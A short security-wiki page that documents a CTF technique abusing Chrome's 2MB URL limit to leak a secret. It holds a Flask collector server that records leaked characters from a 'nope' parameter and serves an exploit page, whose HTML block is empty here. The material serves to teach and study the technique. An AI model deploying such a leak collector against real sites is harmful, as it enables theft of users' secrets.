# URL Max Length - Client Side {{#include ../../banners/hacktricks-training.md}} Code from [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit) ```html ``` Server side: ```python from flask import Flask, request app = Flask(__name__) CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789" chars = [] @app.route('/', methods=['GET']) def index(): global chars nope = request.args.get('nope', '') if nope: chars.append(nope) remaining = [c for c in CHARSET if c not in chars] print("Remaining: {}".format(remaining)) return "OK" @app.route('/exploit.html', methods=['GET']) def exploit(): return open('exploit.html', 'r').read() if __name__ == '__main__': app.run(host='0.0.0.0', port=1337) ``` {{#include ../../banners/hacktricks-training.md}}